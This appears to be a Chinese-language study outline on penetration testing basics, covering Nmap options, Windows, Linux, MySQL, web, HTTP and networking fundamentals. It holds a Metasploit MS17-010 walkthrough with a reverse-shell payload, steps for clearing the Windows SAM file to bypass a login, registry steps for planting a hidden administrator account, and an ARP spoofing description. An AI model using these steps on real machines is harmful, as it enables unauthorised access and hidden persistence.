渗透基础
2023-12-29 15:48:16 3 举报
AI智能生成
渗透基础
作者其他创作
大纲/内容
渗透测试基础
定义:通过各种⼿段对⽬标进<br>⾏⼀次渗透(攻击),通过渗透来测试⽬标的<br>安全防护能⼒和安全防护意识。<br>
渗透测试分类
黑盒(完全未知)
白盒(完全已知)
灰盒(综合黑盒与白盒)
<span style="font-size:inherit;">渗透目标分类</span><br>
主机操作系统
Windows
Linux
。。。
数据库系统
MySQL
MS-SQL
。。。
应用系统
网络设备
防火墙
入侵检测设备
渗透攻击环节
1. 前期交互阶段
2. 情报搜集阶段
3. 威胁建模阶段
4. 漏洞分析阶段
5. 渗透攻击阶段
6. 后渗透攻击阶段(清除痕迹)
7. 报告阶段
渗透攻击方式
口令破解<br>
web应用程序攻击<br>
钓鱼
网络监听
溢出类攻击
病毒类攻击
APT攻击
渗透工具
Metasploit(专业级漏洞攻击工具框架)
专用术语
Exploit(渗透攻击)
Payload(攻击载荷)
ShellCode
Module(模块)
Listener(监听器)
全渗透过程支持
1. 情报搜集(内建扫描探测与查点辅助模块;插件机制集成调用Nmap、Nessus、OpenVAS等开源扫描工具)
2. 威胁建模(信息汇总至数据库,提供易用的数据库查询命令,帮助对情报进行威胁建模)
3. 漏洞分析(提供大量的协议Fuzz测试器与Web应用漏洞探测模块)
4. 渗透攻击(利用漏洞成功渗透到目标系统或网络)
5. 后渗透攻击(成功渗透攻击并获取目标远程控制程序后,Meterpreter可提供驻内存免杀能力高级后门工具,特权提升、跳板攻击与内网拓展等)
6. 报告生成(渗透结果存入内置数据库,可数据库查询并辅助渗透测试报告的写作)
Nmap(网络扫描工具)
主要功能
主机发现
端口扫描
版本侦测
操作系统侦测
常用功能
namp –T4 –A –v ip(完整的全面扫描)
-A 用于使用进攻性(Aggressive)方式扫描
-T4 指定扫描过程使用的时序(Timing),总有6个级别(0-5),<br>级别越高,速度越快,但也容易被防火墙发现
-v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描<br>的细节从而让用户了解当前的扫描状态。
namp ***.***.***.1 ***.***.***.2 ***.***.***.3(扫描多台主机)
nmap 192.168.199.*(扫描整个子网)
-sT:TCP connect扫描
-sS:TCP SYN扫描
-sF/-sX/-sN:通过发送一些特殊的标志位以避开设备或软件的检测
-sP:通过发送ICMP echo请求探测主机是否存活,原理同Ping
-sU:探测目标主机开放了哪些UDP端口
-sA:TCP ACK扫描,对防火墙上未屏蔽的端口进行探测
-sV:获取对应端口上更为详细的服务版本信息
-Pn:在扫描之前,不发送ICMP echo请求测试目标是否存活
-O:启动对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息
-F:快速扫描模式,只扫描在nmap-services中列出的端口<br>
MS17-010漏洞攻击<br>
nmap扫描目标IP
msfconsole,打开msf<br>
search ms17-010,搜索漏洞<br>
use 1 使用序号为1的攻击模块use auxiliary/scanner/smb/smb_ms17_010<br>
set payload windows/64/meterpreter/reverse_tcp 设置攻击负载
set rhost 设置受害者ip(win7)
set lhost 设置攻击者ip(kali)
show options 查看设置<br>
run 开始攻击
操作系统基础
操作系统定义
管理计算机硬件与软件<br>资源的计算机程序,同时也是计算<br>机系统的内核与基石
需要处理如管理与配置内<br>存、决定系统资源供需的优先次序、<br>控制输入与输出装置、操作网络与<br>管理文件系统等基本事务
提供一个让使用者与系<br>统互动的操作界面
操作系统组成部分
系统调用
操作系统提供给程序设计人员的一种服务。程序设计人<br>员在编写程序时,可以利用系统调用来请求操作系统的服务。
内核
是操作系统的核心。是基于硬件的第一层软件扩充,提供操作系统的<br>最基本的功能,是操作系统工作的基础,它负责管理系统的进程、内存、内<br>核体系结构、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。<br>内核决定一个程序在什么时候对某部分硬件操作多长时间。<br>
操作系统的基本功能
处理器管理:是要合理地<br>安排时间,以保证多个作业能顺利完成并且<br>尽量提高CPU的效率,使用户等待的时间最<br>少
设备管理:当用户程序要使用外部设备时,<br>设备管理控制(或调用)驱动程序使外部设<br>备工作,并随时对该设备进行监控,处理外<br>部设备的中断请求等。
文件管理:文件系统管理则是对软件资<br>源的管理。为了管理庞大的系统软件资<br>源及用户提供的程序和数据,操作系统<br>将它们组织成文件的形式,操作系统对<br>软件的管理实际上是对文件系统的管理。
存储管理:存储管理的主要工作是对内<br>存储器进行合理分配、有效保护和扩充。
作业管理:作业是用户在一次计算过程<br>中,或者一次事务处理过程中,要求计<br>算机系统所做工作的总称。作业管理与<br>调度的主要功能是审查系统能否满足用<br>户作业的资源要求
操作系统的主要特征
并发:同一时间间隔内执行和调度多<br>个程序的能力
共享:操作系统与多个用户的程序共同使用<br>计算机系统中的资源。<br>同时访问、互斥共享
虚拟:一个物理实体(如cpu )映射为<br>若干个对应的逻辑实体:分时或分空间
异步:即不确定性。同一程序和数据的多次运行可<br>能得到不同的结果;程序的运行时间、运行<br>顺序也具有不确定性<br>
常用的操作系统
Windows
Microsoft Windows,是美国微软公司研发的一套操作系统
用户账号
不同的用户身份拥有不同的权限
每个用户包含一个名称和一个密码
用户账户拥有唯一的安全标识符:标识符是标识用户、组和计算机帐户的唯<br>一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一<br>的 SID(whoami /user)
用户权限分配,secpol.msc,打开本地安全策略,进行策略配置。<br>
常用用户
SYSTEM:本地机器上拥有最高权限的用户。(为系统核心组件访问文件资<br>源提供权限)
Administrator:默认系统管理员用户。
Guest:只拥有相对较少的权限,默认被禁用。<br>
用户组
组是一些用户的集合
组内的用户自动具备为组所设置的权限
需要人为添加成员的内置组:Administrator,Guests,Power Users,User
动态包含成员的内置组:<br>其成员由Windows程序自动添加。<br>Windows会根据用户的状态来决定用户所属的组。<br>组内成员也随之动态变化,无法修改。
动态包含成员的内置组:<br>Interactive:动态包含在本地登录的账户。<br>Authenticated Users:动态包含了通过验证的用户,不包含来宾用户。<br>Everyone:包含任何用户,设置开放的权限时经常使用。<br>
常见用户组
Administrators,管理员组
默认情况下,<br>Administrators中的用户对计算机/域有不受限制的完<br>全访问权。分配给该组的默认权限允许对整个系统进<br>行完全控制
Power Users,高级用户组
Power Users 可以执行除<br>了为 Administrators 组保留的任务外的其他任何操作<br>系统任务
Users:普通用户组
这个组的用户无法进行有意或无<br>意的改动。因此,用户可以运行经过验证的应用程序,<br>但不可以运行大多数旧版应用程序
Guests:来宾组
按默认值,来宾跟普通Users的成员<br>有同等访问权,但来宾帐户的限制更多
Everyone:
所有的用户,这个计算机上的所<br>有用户都属于这个组
Windows 系统目录
All Users目录
此子目录下是电脑的所有用户及这些用户个人设定的开始菜单及桌面等信息
Command目录
这个目录下放置了微软的DOS下的常用命令,如chkdsk,format, fdisk等常用的命令
Config目录
它是用来存放Windows中的硬件配置文件
Desktop目录
系统图标以及由应用程序和文档建立的桌面快捷方式都存放在这里,这里的图标文件与桌面上的图标动态关联着
Downloaded目录
此目录为你下载软件的默认目录
System目录
与sytem32目录都是系统文件夹,存放着Windows的系统文件和硬件驱动程序等重要信息
windows\System32\config\SAM #存放windows账号密码的文件
使用PE(windows预装环境)进入拷贝SAM文件,清除,再进系统就不需要密码了,开始渗透;<br>最后再替换出来。
windows\System32\drivers\etc\hosts #文件,解析域名的
Web目录
存放一些与web相关的图片文件等
perlog目录
日志文件 计算机管理->事件查看器->windows日志 也可使用分析日志的程序
Program Files目录
这个里面存放着一些软件的配置信息。比如数据库<br>连接的信息,下载的软件的信息。<br>
Windows 文件夹权限
完全控制
修改
读取和运行
列出文件夹目录
读取
写入
Windows 服务
定义了计算机的一些功能
Win+R打开运行,输入services.msc回车打开
作用
服务决定了计算机一些功能是否被<br>启用
不同的服务对应的功能不同
通过计算机提供的服务可以有效实<br>现资源共享<br>
常见服务
web服务
dns服务(提供域名解析)
dhcp服务(给客户机发送一个可用的IP)
邮件服务
telnet服务
ssh服务(一个命令行,一般用于linux的命令控制,远程终端)
ftp服务
smb服务(文件共享服务)<br>
Windows 端口
定义:是设备与外界通讯交流的出口
作用
IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。<br>需要注意的是,端口并不是一一对应的。
分类
按端口号分布划分
知名端口,0到1023,这些端口号一般固定分配给一些服务
动态端口,1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服<br>务都可以使用这些端口。动态端口也常常被病毒木马程序所利用。
按协议类型划分
TCP端口
即传输控制协议端口,需要在客户端和服务器之间建立连接,这样可以提<br>供可靠的数据传输。如Telnet服务的23端口,SMTP服务的25端口,HTTP服务的80端<br>口等
UDP端口
即用户数据包协议端口,无需在客户端和服务器之间建立连接,安全性得<br>不到保障。如DNS服务的53端口,SNMP(简单网络管理协议)服务的161端口,QQ<br>使用的8000和4000端口等等<br>
常见端口
windows进程
常见进程
conime.exe:与输入法编辑器有关的系统进程,能够确保正常调整和编辑系统中的输入法
csrss.exe:该进程是微软客户端/服务端运行时子系统,该进行管理windows图形相关任务
ctfmon.exe:该进程与输入法有关,该进程的正常运行能够确保语言栏能正常显示在任务栏中
explorer.exe:该进程是windows资源管理器,可以说是windows图形界面外壳程序,该进程的正常<br>运行能够确保在桌面上显示桌面图标和任务栏
lsass.exe:该进行用于windows操作系统的安全机制、本地安全和登录策略
<font color="#e74f4c">services.exe:该进程用于启动和停止系统中的服务,如果用户手动终止该进程,系统也会重新启动<br>该进程</font>
smss.exe:该进程用于调用对话管理子系统,负责用户与操作系统的对话
svchost.exe:该进程是从动态链接库(DLL)中运行的服务的通用主机进程名称,如果用户手动终止该<br>进程,系统也会重新启动该进程
system:该进程是windows页面内存管理进程,它能够确保系统的正常启动
system idle process:该进行的功能是在CPU空闲时发出一个命令,使CPU挂起,从而有效降低CPU<br>内核的温度
winlogon.exe:该进程是Windows NT用户登录程序,主要用于管理用户登录和退出。<br>
Windows注册表
打开方式:<br>win+r:-->regedit<br>
注册表结构
HKEY_CLASSES_ROOT:管理文件系统
HKEY_CURRENT_USER:管理系统当前用户信息
HKEY_LOCAL_MACHINE:常用。管理当前系统硬件配置。
HKEY_USERS:管理系统的用户信息。
HKEY_CURRENT_CONFIG:管理当前用户的系统配置。<br>
常用DOS命令
<br>
windows操作系统快捷键
Windows 安全基础
Windows 隐藏账号
命令行下不可见
通过注册表,运行中输入regedit,然后点击<br>HKEY_LOCAL_MACHINE>SAM>SAM,,然后添加相应的权限:<br>
打开可以看到SAM目录签有+号可以打开<br>
对test$和0x3F0目录右键导出<br>(若想给test$用户赋权,则可以将该用户的键值(例子中为0x3f0)改为Administrator<br>的所对应的键值即可。)<br>
导出0x1F4目录。<br>接着打开0x3F0目录导出的文件,可以看到F表示用户信息,V表示权限信息:<br>
接着,用1f4文件中F的键值替换3f0中F的键值:<br>
接着在命令行删除test$用户:
然后双击刚刚修改过的3f0文件,提示是否将内容添加进注册表选择Yes,接着对刚刚导出的test$.reg文件进行同样的操作,然后进入注册表中查看:<br>
查看得到刚刚删除的test$用户又显示出来了。<br>重新刷新查看计算机管理中的用户和命令行下的net users命令,没有显示该用户:接着注销当前账户后就可以使用test$用户登录了。<br>
Linux
特点
多用户,多任务:Linux支持多用户,各个用户对于自己的文件设<br>备有自己特殊的权利,保证了各用户之间互不影响。多任务则是<br>现在电脑最主要的一个特点,Linux可以使多个程序同时并独立地<br>运行
主流:目前的Linux操作系统主要应用于生产环境,主流企业级<br>Linux系统仍旧是RedHat或者CentOS
免费:Linux是一款免费的操作系统,用户可以通过网络或其他途<br>径免费获得,并可以任意修改其源代码。这是其他的操作系统所<br>做不到的。正是由于这一点,来自全世界的无数程序员参与了<br>Linux的修改、编写工作,程序员可以根据自己的兴趣和灵感对其<br>进行改变。这让Linux吸收了无数程序员的精华,不断壮大。
更新方便:CentOS独有的yum命令支持在线升级,可以即时更<br>新系统,不像RedHat 那样需要花钱购买支持服务!
开源<br>
架构
内核
操作系统的核心,具有很多最基本功<br>能,它负责管理系统的进程、内存、设备驱<br>动程序、文件和网络系统,决定着系统的性<br>能和稳定性
shell
是系统的用户界面,提供了用户与内核进<br>行交互操作的一种接口。它接收用户输入的命<br>令并把它送入内核去执行,是一个命令解释器。<br>另外,shell编程语言具有普通编程语言的很多<br>特点,用这种编程语言编写的shell程序与其他<br>应用程序具有同样的效果。
文件系统
文件存放在磁盘等存储设备上的组<br>织方法。Linux系统能支持多种目前流行的文件<br>系统,如EXT2、 EXT3、 FAT、 FAT32、<br>VFAT和ISO9660
应用程序
包括文本编辑器、编程语言、X<br>Window、办公套件、Internet工具和数据库<br>等
Linux启动过程
Linux文件系统
etc目录
etc/passwd 保存用户信息
格式
账号名称:账号密码:账号UID:账号GID:用户说明:shell解释器
etc/shadow 保存密码
格式
用户名:密码(加密):最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:账号闲置时间:失效时间:标志
etc/group 保存用户组
etc/gshadow 保存用户组密码
格式
组名:加密密码:组管理员:组附加用户列表
etc/default/useradd用户配置文件
var目录
Linux常用命令vim
打通关hacknet与bandit。自然就有初步了解了
linux init进程<br>
系统所有进程的起点
运行级别
0:系统停机状态,系统默认运行级别不能为0,否则不能正常启动
1:单用户工作状态,root权限,用于系统维护,禁止远程登陆
2:多用户状态(没有NFS)
3:完全的多用户状态(有NFS),登陆后进入控制台命令行模式
4:系统未使用,保留
5:X11控制台,登陆后进入图形GUI模式
6:系统正常关闭并重启,默认运行级别不能为6,否则不能正常启动
数据库基础
数据库访问方式
定义:专门储存数据和管理数据的一种仓库
分类
关系数据库
安全系数高,容易理解,比较浪费磁盘空间。
MySQL、Oracle、<br>Microsoft SQL Server、Access及PostgreSQL
非关系型数据库
安全系数低,效率高
BigTable(Google)、Cassandra、MongoDB、CouchDB;redis还包括键值数据库:Apache Cassandra(Facebook)、LevelDB(Google)
常用数据库
MySQL(3306)
数据库构成
表:在数据库中看起来像个简单的电子表格。名字是唯一的
列:表中的一个字段。所有表都是由一个或多个列组成的
行:表中的一个记录
值:行的具体信息,每个值必须与该列的数据类型相同
主键:是一个用于唯一标识数据库表中每一行数据的字段或字段集合。主键的值必须是唯一的,而且不能包含<br>NULL值。每个表只能有一个主键,它用来确保每一行都能被唯一地识别和访问。主键能唯一的标识表中的一条记录,可以结合外键来定义不同数据表之间的关系,加快数据库的查询速度<br>一般分为单字段主键和多字段联合主键
初始安装系统数据库
information_schema
mysql
performance_schema
sys
数据库连接
mysql -h(主机地址) -u root(用户名) -p(指定密码)
数据库操作
创建(create database database_name;)
删除(drop database database_name;)
列出数据库(show databases;)
使用数据库(use 数据库名)
数据库数据类型
整数
浮点
日期与时间
字符串<br>
数据库表操作
创建:CREATE TABLE table_name (属性名 数据类型 完整性约束条件,<br>属性名 数据类型 完整性约束条件,<br>属性名 数据类型 )
约束条件
删除:DROP TABLE table_name
插入:insert into table_name(field1, field2,...fieldN)<br>Values<br>(value1, value2,...valueN);
查看:select * from 表名;
显示数据库所有表:show tables;
查看备注信息:show full columns from table_name;
显示索引表的详细索引信息
修改表名:Alter table 旧表名 rename 新表名;
修改字段的数据类型:Alter table 表名 modify 属性名 数据类型;
修改字段名:Alter table 表名 change 旧属性名 新属性名 新数据类型;
增加字段:Alter table 表名 add 属性名 数据类型 [完整性约束条件];<br>alter table 表名 add foreign key (user_id) references 主表表名(字段名)
删除字段:Alter table 表名 drop 属性名;
数据库查询语句
Select 属性列表<br>from 表名<br>[where 条件表达式1]<br>[group by 字段名1]<br>[order by 属性名2 [asc | desc]]
使用“*”查询所有字段
查看数据库中的表结构<br>desc 表名;<br>或者<br>describe 表名;
查询指定字段<br>select 字段名1,字段名2 from 表名;
去除重复数值<br>select distinct 字段名 from 表名;<br>#字段名(要去除重复数值的列)
where语句
比较符
=等于
<小于
>大于
<=小于等于
>=大于等于
“!=”/“<>”不等于
指定范围
[NOT] BETWEEN m(m>=) AND n(n<=)
指定集合
(NOT)in (元素1,元素2,...)
匹配字符
like“字符串”=“=”
like"字符串"中有“%”like!="="
"_"匹配一个字符
多个查询条件
AND=&&
条件表达式1 AND 条件表达式2(全满足条件显示)
OR=||
条件表达式1 OR 条件表达式2(只满足一个条件显示)
LIMIT子句<br>
限制查询结果
limit n,m<br>n:开始位置<br>m:要检索的行数
排序
ORDER BY 属性名[ASC | DESC]
ASC:升序(默认升序)<br>DESC:降序<br>可以给多个列排序,只需要指定列名,列名之<br>间用逗号分开即可
分组查询
GROUP BY 属性名 [having 条件
集合函数
COUNT()用来统计记录的条数;
SUM()用来计算字段的值的总和;
AVG()用来计算字段的值的平均值;
MAX() 用来查询字段的最大值;
MIN()用来查询字段的最小值;
正则表达式
属性名 REGEXP '匹配方式’
模式
“^”
“^”查询以特定字符或者字符串开头的记录
“$”
“$”查询以特定字符或者字符串结尾的记录
“.”
“.”匹配字符串中的任意一个字符
‘[]’
[..]字符集合。匹配所包含的任意一个字符
“[^字符集合]”
匹配指定字符以外的字符
“|”
匹配多个指定字符串
指定多个字符串时,需要用符号“|”隔开
“*”
“*”:可以表示0个字符
“+”
“+”:至少表示一个字符
‘{m}’/’{m,n}’
指定字符串连续出现的次数
{m}:m是一个非负整数。匹配确定的 m 次。<br>{m,n}:m 和 n 均为非负整数,其中m <= n。
运算符
算术运算符
+
-
*
/
DIV(取结果的整数)
%(取余数)
比较运算符
逻辑运算符
与、或、非、异或等,结果只返回真值(1或者true)和假值(0或false)
运算符优先级
注释符
#...(表示单行注释,语法“#注释内容”)
"-- "(表示单行注释,语法“-- 注释)
/*...*/(“/**/”,表示多行注释,语法“/*注释内容*/”)<br>
查询函数<br>
联合查询 : UNION
select * from venus1<br>union<br>select * from venus
union查询默认不返回重复记录<br>union查询的表的字段必须一样<br>union查询的数据类型必须能兼容
嵌套查询: [NOT]IN{[不]包含其中}、ANY、ALL、(任何一个//所有的)[NOT]EXISTS{[不]存在}
1.子查询<br>2.子查询可以继续嵌套<br>3.子查询中不可以使用order by子句,只对最后结果排序<br>4.子查询要用括号括起来
数据库修改语句
update table_name set field1=new-value1, field2=new-value2;
数据库删除语句
delete from table_name [where] field1=new-value
SQL Server(1433)
Oracle(1521)
web安全基础
定义:Web(World Wide Web)即全球广域网,也称为万维网,它是一种基于超文本和HTTP的、全球性的、动<br>态交互的、跨平台的分布式图形信息系统。
互联网>因特网>万维网
发展
web 1.0
个人网站,门户网络
网站生成固定内容
静态页面
桌面浏览器
简单&同步
攻击方式
SQL注入
文件包含
命令执行
上传漏洞
WebShell
web 2.0
微博,Blog等
用户自己生成内容
Mashup和Web服务
复杂的客户端软件
复杂&异步
攻击方式
钓鱼攻击
URL跳转
框架漏洞
逻辑漏洞
XSS
CSRF
页面
静态页面
在静态html页面中,用户通过Web浏览器HTTP协议向web服务器发送一个响应请求,告诉web服务器要浏<br>览这个网站的哪个页面,接着根据用户的响应请求返回一个html页面给用户,经过浏览器渲染解析呈现在用户眼<br>前
静态web页面是没有数据库文件的,所以不能连接网络数据库;
静态web页面主是通过HTML代码开发设计的;
部分静态web页面为了页面的好看,使用了大量的JS代码,导致静态web页面打开速度慢。
动态页面
在动态web页面中,依然要通过web服务器的http协议或https协议响应才能返回结果给用户,用户所有请求<br>都必须要通过web服务器处理才能实现。
用户的响应请求是一个静态的html页面,只需要响应请求web服务器从系统中调出用户响应的内容,将内容<br>返回给客户端浏览器进行处理,再返回给用户
如果用户响应请求的是动态页面资源,例如.jsp/.asp/.aspx、/.php等,响应步骤是先将用户请求发送给web<br>服务器,web服务器再从数据库调出有户请求的数据,调出数据后将所需要展示给用户的内容发送给服务器,最<br>后通过web服务器将需要展示给用户的内容返回给用户浏览器解析执行,展示给用户
URL(Uniform Resource Locator)统一资源定位符
格式:protocol : // hostname [:port]/path/[parameters] [?query]<br>
protocol 协议,常用的协议是http、https、ftp等
hostname 主机地址,可以是域名,也可以是IP地址
port 端口 http协议默认端口是:80端口
path 路径 网络资源在服务器中的指定路径
parameter 参数 如果要向服务器传入参数,在这部分输入
query 查询字符串 如果需要从服务器那里查询内容,在这里编辑,可有多个参数,用“&”符号隔开,每个<br>参数的名和值用“=”符号隔开
域名是可以通过我们的 dns(域名解析)成ip地址
HTML
定义
指的是超文本标记语言: HyperText Markup Language
不是一种编程语言,而是一种标记语言<br>标记语言是一套标记标签 (markup tag)
使用标记标签来描述网页
HTML 文档包含了HTML 标签及文本内容
HTML文档也叫做 web 页面
标签
是由尖括号包围的关键词
通常是成对出现的<br>标签对中的第一个标签是开始标签,第二个标签是结束标签<br>开始和结束标签也被称为开放标签和闭合标签<br>(<标签>内容</标签>)<br>
常用标签
元素
HTML 元素包含了开始标签与结束标签
页面结构
标题
通过<h1> -<h6>标签来定义
段落
通过标签 <p>来定义的。
链接
通过标签 <a> 来定义的。<br>标签的 href 属性用于指定超链接目标的 URL。
图像
HTML 图像是通过标签 <img> 来定义的. 本地and远程<br>
水平线
<hr> 标签在 HTML 页面中创建水平线。<br>hr 元素可用于分隔内容。<br>
注释
可以将注释插入 HTML 代码中,这样可以提高其可读性,使代码更易被人理解。浏览器会忽略注释,<br>也不会显示它们。<!-- 这是注释 -->
段落
子主题
换行
<br>
HTTP(80)
定义:超文本传输协议(Hyper Text Transfer Protocol,HTTP)是一个简单的请求-响应协议,<br>它通常运行在TCP之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样<br>的响应。
访问web步骤
1、在浏览器地址栏输入URL访问
2、浏览器进行域名解析获得IP地址
3、解析出 IP 地址后,根据该 IP 地址和默认端口 80和服务器建立TCP连接
4、浏览器发出读取文件(URL 中域名后面部分对应的文件)的HTTP 请求,该请求报文作为 TCP 三次握手<br>的第三个报文的数据发送给服务器;
5、服务器对浏览器请求作出响应,并把对应的 html 文本发送给浏览器
6、浏览器将该 html 文本进行解析并显示内容;
内部操作过程
<span style="font-size: inherit;">客户端与服务器端建立连接</span><br>
客户端向服务器端发送请求
服务器端向客户端回复响应
断开连接
请求方法
GET和POST的区别
GET一般用于获取/查询资源信息
<ol><li>安全:该操作用于获取信息而非修改信息。它仅仅是获取资源信息,就像数据库查询一样,不会修改,增加数据,不会影响资源的状态。</li><li>幂等:对同一URL的多个请求应该返回同样的结果</li></ol>
POST一般用于更新资源信息
主要特点
1.支持客户/服务器模式:一个服务器可以为分布在世界各地 的许多客户服务
2.简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET和POST。<br>由于HTTP协议简单,使得HTTP服务器的程序规模小,因而通信速度很快
3.灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记
报文格式
请求报文
请求行,用来说明请求类型,要<br>访问的资源以及所使用的HTTP版本.
请求头部,紧接着请求行(即第一行)之后的<br>部分,用来说明服务器要使用的附加信息
常见头部
Cookie
是保存在用户浏览器端的,并在发出http请求时会<br>默认携带的一段文本片段。它可以用来做用户认证,服务器校验等通过文本数据可以处理的问题。
Session
与Cookie不同,其保存在服务器端
Cookie/Session的区别
session 在服务器端,cookie 在客户端(浏览器)
session 默认被存在在服务器的一个文件里(不是内存)。
单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个<br>cookie
一般情况,登录信息等重要信息存储在session中,其他信息存储在cookie中<br>
Referer
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该<br>网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理
空行
请求数据也叫主体,可以添加任意的其他数据。
响应报文
状态行,由HTTP协议版本号, 状态<br>码, 状态消息 三部分组成
消息报头,用来说明客户端要使用的<br>一些附加信息
空行
响应正文,服务器返回给客户端的<br>文本信息
状态信息
临时响应(1xx)
表示临时响应并需要请求者继续执行操作的状态代码
成功(2xx)
表示成功处理了请求的状态代码
重定向(3xx)
表示要完成请求,需要进一步操作,通常用来重定向
请求错误(4xx)
表示请求可能出错,妨碍了服务器的处理
服务器错误(5xx)
表示服务器在尝试处理请求时发生内部错误
缺陷
通信双方使用明文传输(不加密),内容可能会被窃听
不验证通信方的身份,因此可能遭遇伪装
无法证明报文的完整性,所以有可能已遭篡改
HTTPS(443)
定义:HTTPS是在HTTP上建立SSL加密层,并对传输数据进行加密,是HTTP协议的安全版
主要作用
对数据进行加密,并建立一个信息安全通道,来保证传输过程中的数据安全
对网站服务器进行真实身份认证
抓包
BurpSuite
同源策略
同协议
同端口
同域名
沙箱
Sandbox 即沙箱,对于浏览器来说,采用 Sandbox 技术,无疑可以让不受信任的网页<br>代码运行在一个受限的环境中,从而保护本地文件的安全
浏览器的多进程架构,将浏览器的各个功能分开,当一个进程崩溃时,也不会影响到其<br>他进程。
浏览器所加载的一些第三<br>方插件却往往不受 Sandbox管辖
OWASP TOP 10
A1:访问控制崩溃
A2:加密失败(敏感信息暴露)
A3:注入
A4:不安全的设计
A5:安全配置不当
A6:易受攻击和过时的组件
A7:识别和认证失败
A8:软件和数据完整性失败
A9:安全日志记录和监控失败
A10:服务器端请求伪造(SSRF)
网络基础
计算机网络
定义:一些互相连接的、自治的计算机的<br>结合
网络通信要素
发送者
接收者
介质
数据
协议
通信是双向的主机A发数据给B,B要回复
OSI参考模型
物理层
主要功能
比特流传输
数据链路层
主要功能
流量控制
通过控制发送方的发送速率,以避免接收方无法处理过多的数据帧
差错控制
通过添加冗余信息来检测和纠正数据传输过程中的错误
物理地址寻址
通过MAC地址来标识网络中的每个设备,以便数据链路层能够<br>正确地将数据帧发送到目标设备
帧
mac地址
跳到跳
以太帧格式
Ethernet_II 帧格式
网络层
主要功能
IP寻址和路由选择
包
IP地址
端到端
IP报文头部
取值范围
分类
子网掩码
子网掩码的作用是将IP地址分为网络地址和主机地址两部分,以便<br>于判断该IP地址是在本地网络上还是在远程网络上<br>
生存时间
协议类型
传输层
端
端口
服务进程到服务进程
可靠协议TCP
不可靠协议UDP
对字节流进行切分
流量控制(传输速度)
错误控制(数据接收完整性)
主要功能
建立、维护、管理端到端连接
常见协议
TCP
TCP头部
三次握手
<span style="font-size: inherit;">主机:send SYN(</span>seq=a, SYN<span style="font-size: inherit;">)</span><br>
<span style="font-size: inherit;">服务器:send SYN,ACK </span>(seq=b,ack=a+1, SYN,ACK)<br>
主机:send ACK(seq=a+1,ack=b+1, ACK)
四次挥手
主机:FIN,ACK(seq=a,ack=b)
服务器:ACK(seq=b,ack=a+1)
服务器:FIN,ACK(seq=b,ack=a+1)
主机:ACK(seq=a+1,ack=b+1)<br>
ARP
地址解析协议 ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个<br>TCP/IP协议
基本功能
通过目标设备的IP地址,查询目标<br>设备的MAC地址,以保证通信的进<br>行。
局限性
仅能在局域网进行
ARP缓存表
用来储存IP地址和MAC地址的缓冲区,其本质就是一<br>个IP地址-->MAC地址的对应表,表中每一个条目分别记录了网络上<br>其他主机的IP地址和对应的MAC地址。
每一个以太网都有自己单独的表。当地址解析协议被询问一个已知IP<br>地址节点的MAC地址时,先在ARP缓存表中查看,若存在,就直接返<br>回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询。<br>
常用命令
arp -a
查看缓存中的所有项目
arp -a ip
如果有多个网卡,那么使用arp -a加上接口的IP地址,<br>就可以只显示与该接口相关的ARP缓存项目
ARP欺骗
通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者<br>更改后的MAC地址是网关的MAC,导致网络不通。此种攻<br>击可让攻击者获取局域网上的数据包甚至可篡改数据包,<br>且可让网上上特定计算机或所有计算机无法正常连线。
攻击手法
攻击主机PC2发送ARP应答包给被攻击主机PC1和网关,分<br>别修改它们的ARP缓存表, 将它们的ip地址所对应的MAC地<br>址,全修改为攻击主机PC2的MAC地址,这样它们之间数据<br>都被攻击主机PC2截获。<br>
防御
静态绑定:
最常用的方法就是做IP和MAC静态绑定,在内网把主机和网关都做IP和MAC绑定。
使用ARP防护软件:
欣向ARP工具,Antiarp等<br>
UDP
一种面向无连接的传输层协议,传输可靠性没有保证
头部
传输过程
使用UDP传输数据时,由应用程序根据需要提供报文到达确认、排序、<br>流量控制等功能。<br>
UDP不提供重传机制,占用资源小,处理效率高
一些时延敏感的流量,如语音、视频等,通常使用UDP作为传输层协议
会话层
主要功能
建立、维护、管理会话连接
表示层
主要功能
编码
解码
加密
压缩
应用层
主要功能
为应用程序提供网络服务
分层模型– TCP/IP协议集<br>
数据封装与解封<br>
通信原则
必须是同一层次进行通信,比如,A 计算机的应用层和 B 计算机的传输层就不能通信,因为它们不在一个层次,数据的拆包会遇到问题。
每一层的功能都必须相同,也就是拥有完全相同的网络模型。如果网络模型都不同,那不就乱套了,谁都不认识谁
数据只能逐层传输,不能跃层
每一层可以使用下层提供的服务,并向上层提供服务
数据流通过程<br>
DNS欺骗
攻击者(黑客)冒充域名服务器进行欺骗的一种行为
原理:如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址。<br>这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就<br>是DNS欺骗的基本原理。
DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。<br>
CDN(内容分发网络)
优点
<ol><li><span style="font-size: inherit;">分服务器可以为主服务器减轻压力</span></li><li>安全性大幅增加</li><li>效率变高</li></ol>
缺点
成本太高
IPv6<br>
IPv4地址耗尽<br>
16进制
地址简写<br>
0 条评论
下一页
为你推荐
查看更多